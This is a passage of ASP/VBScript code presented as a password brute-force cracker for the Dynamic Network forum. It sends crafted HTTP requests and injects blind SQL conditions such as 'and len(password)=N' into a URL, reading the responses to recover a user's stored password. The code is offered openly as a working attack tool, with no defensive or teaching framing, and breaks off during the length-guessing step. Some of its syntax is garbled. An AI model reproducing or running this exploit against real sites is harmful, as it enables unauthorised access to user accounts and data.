Dynamic Network forum password brute force crack program code

<%
Response.buffer=false
' To prevent the program from falling into a dead loop, initialize some of the maximum retry values
Dim MAXPASSLEN,MAXPASSASC
Maxpasslen=20 ' Password maximum length
Maxpassasc=20
' = = = = = Character conversion
Function Bytes2bstr (vIn)
Strreturn = ""
For j = 1 to LenB (vIn)
Thischarcode = AscB (MidB (vin,j,1))
If Thischarcode < &h80 Then
Strreturn = Strreturn & Chr (Thischarcode)
Else
Nextcharcode = AscB (MidB (vin,j+1,1))
Strreturn = Strreturn & Chr (CLng (thischarcode) * &h100 + CInt (nextcharcode))
j = j + 1
End If
Next
Bytes2bstr = Strreturn
End Function
' Below is the page content ==========
Function GetUrl (URL)
Set Osend=createobject ("Microsoft.XMLHTTP")
SourceCode = Osend.open ("Get", Url,false)
Osend.send ()
SourceCode = Bytes2bstr (osend.responsebody)
GETURL = SourceCode
End Function
' The following is the decision to return the page effect
Function Chkpage (Sourcecode,suckey,errkey)
If Instr (Sourcecode,suckey) > 0 Then
Chkpage=true ' page returns success
Exit function
End If
If Instr (Sourcecode,errkey) > 0 Then
Chkpage=false ' page error
Exit function
End If
Chkpage=false ' keyword information is incorrect or the page is not connected
Response.Write ("Wrong keyword information or page not connected")
Response.End
End Function
' Start cracking
' Dim Url,username,password,suckey,
Dim Passlenurl
Dim Passlen
Dim Chkpasslen
If request ("Begin") <> "" Then
Response.Cookies ("Passlen") =0
Url=request ("url")
Username=request ("username")
Password=request ("password")
Suckey=request ("Suckey")
Errkey=request ("Errkey")
Response.Write ("First step, crack password length <BR>")
Passlen = 1
Chkpasslen = False
Do as not Chkpasslen
Passlenurl = URL & username & "'%20and%20len (" & password & ") =" & Passlen & "%20and%20 ' 1 ' = ' 1"